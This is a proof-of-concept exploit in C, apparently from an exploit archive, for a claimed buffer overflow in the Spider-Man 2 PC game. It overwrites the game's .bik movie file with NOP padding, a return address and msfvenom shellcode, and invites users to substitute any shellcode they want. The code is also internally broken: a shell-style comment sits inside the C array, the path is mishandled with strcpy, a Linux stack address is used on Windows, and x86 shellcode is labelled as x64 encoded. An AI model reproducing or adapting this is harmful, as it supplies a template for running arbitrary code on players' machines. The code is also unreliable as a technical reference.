# Exploit Title: Spiderman2 - Buffer Overflow
# Exploit Author: HexraiN
# Vendor Homepage: https://www.mobygames.com/company/fizz-factor
# Software Link: https://www.mobygames.com/game/spider-man-2-the-game
# Version: 2.1.1
# Tested on: Windows 10 x64
# Greetz : OA Cybersecurity Labs
#Twitter : @smashedkernel
# 1 -> Close DEP for Spiderman.exe
# 2 -> Change the shellcode with the one you want
# 3 -> Change "installation_path" by yourself.
# 4 -> Compile & Run PoC
# 5 -> Run Game Spiderman.exe
# 6 -> Boom
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
# msfvenom -p windows/exec CMD=notepad -e x64/alpha_mixed -f c -v
// SIZE = 192 Bytes
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x00";
void main(void)
{
unsigned char *installation_path[] = "C:\\Program Files(x86)\\Activision\\Spider-Man 2";
strcpy(installation_path,"\\Movies\\ACTIVISN.bik");
char buffer[421];
FILE *vulnerable;
memset(&buffer, 0x90, 421);
long addr = 0xbffff240 + 0xc0; // address to insert into eip == address of local buffer in bof + ~192 bytes into nops
memcpy(buffer + 28, &addr, sizeof(long)); // buffer offset at 28 = location of rip register
memcpy(buffer + sizeof(buffer) - sizeof(shellcode) - 1, shellcode, sizeof(shellcode));
vulnerable = fopen(installation_path, "w");
fwrite(buffer, 421, 1, vulnerable);
fclose(vulnerable);
}
